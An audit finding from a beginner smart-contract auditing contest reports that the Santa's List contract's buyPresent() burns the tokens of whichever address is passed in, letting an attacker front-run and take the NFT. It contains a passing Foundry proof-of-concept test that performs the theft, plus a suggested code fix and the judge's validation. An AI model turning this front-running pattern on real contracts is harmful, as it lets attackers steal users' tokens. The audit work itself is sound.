First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can take benefit from `buyPresent()` logic

timenov

Summary

The function buyPresent with its current logic is used for getting a present for someone else's tokens. This doesn't seem as the correct behaviour, but we will observe how an attacker can take benefit of that function.

Vulnerability Details

Let's consider the following scenario. Alice has santaTokens and wants to give a present to her friend Bob. What she will do is approve the contract to spend her tokens and tell Bob to call buyPresent and pass her address as a parameter. Bob agrees and Alice does her part of the job. However an attacker saw Alice's transaction and front-runs Bob's transaction. He calls buyPresent with Alice's address and gets the NFT for himself. Alice now has lost her tokens and Bob received nothing.

Impact

Loss of tokens

Tools Used

Manual Review, Foundry

Proof of Concept

Added the following test case:

function testStealPresent() public {
// Addresses setup
address alice = makeAddr('alice');
address bob = makeAddr('bob');
address attacker = makeAddr('attacker');
​
// Alice was extra nice so she will get NFT as well as some tokens
vm.startPrank(santa);
santasList.checkList(alice, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(alice, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
// Its Christmas time
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// Alice collects her present and tokens
vm.prank(alice);
santasList.collectPresent();
assertEq(santasList.balanceOf(alice), 1);
assertEq(santaToken.balanceOf(alice), 1e18);
​
// Alice wants Bob to get a present too, so she will spend her tokens
vm.prank(alice);
santaToken.approve(address(santasList), 1e18);
​
// Attacker saw that and front-runs Bob
vm.prank(attacker);
santasList.buyPresent(alice);
assertEq(santasList.balanceOf(attacker), 1);
assertEq(santaToken.balanceOf(alice), 0);
​
// Bob can't get the present because Alice has no tokens left
vm.prank(bob);
vm.expectRevert();
santasList.buyPresent(alice);
}

Test passes:

[PASS] testStealPresent() (gas: 234093)

Recommendations

Change the logic of buyPresent. Instead of burning presentReceiver tokens, burn msg.sender. Also pass presentReceiver to _mintAndIncrement.

Consider doing the following changes:

buyPresent:

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _mintAndIncrement(presentReceiver);
}

_mintAndIncrement():

- function _mintAndIncrement() private {
- _safeMint(msg.sender, s_tokenCounter++);
+ function _mintAndIncrement(address user) private {
+ _safeMint(user, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.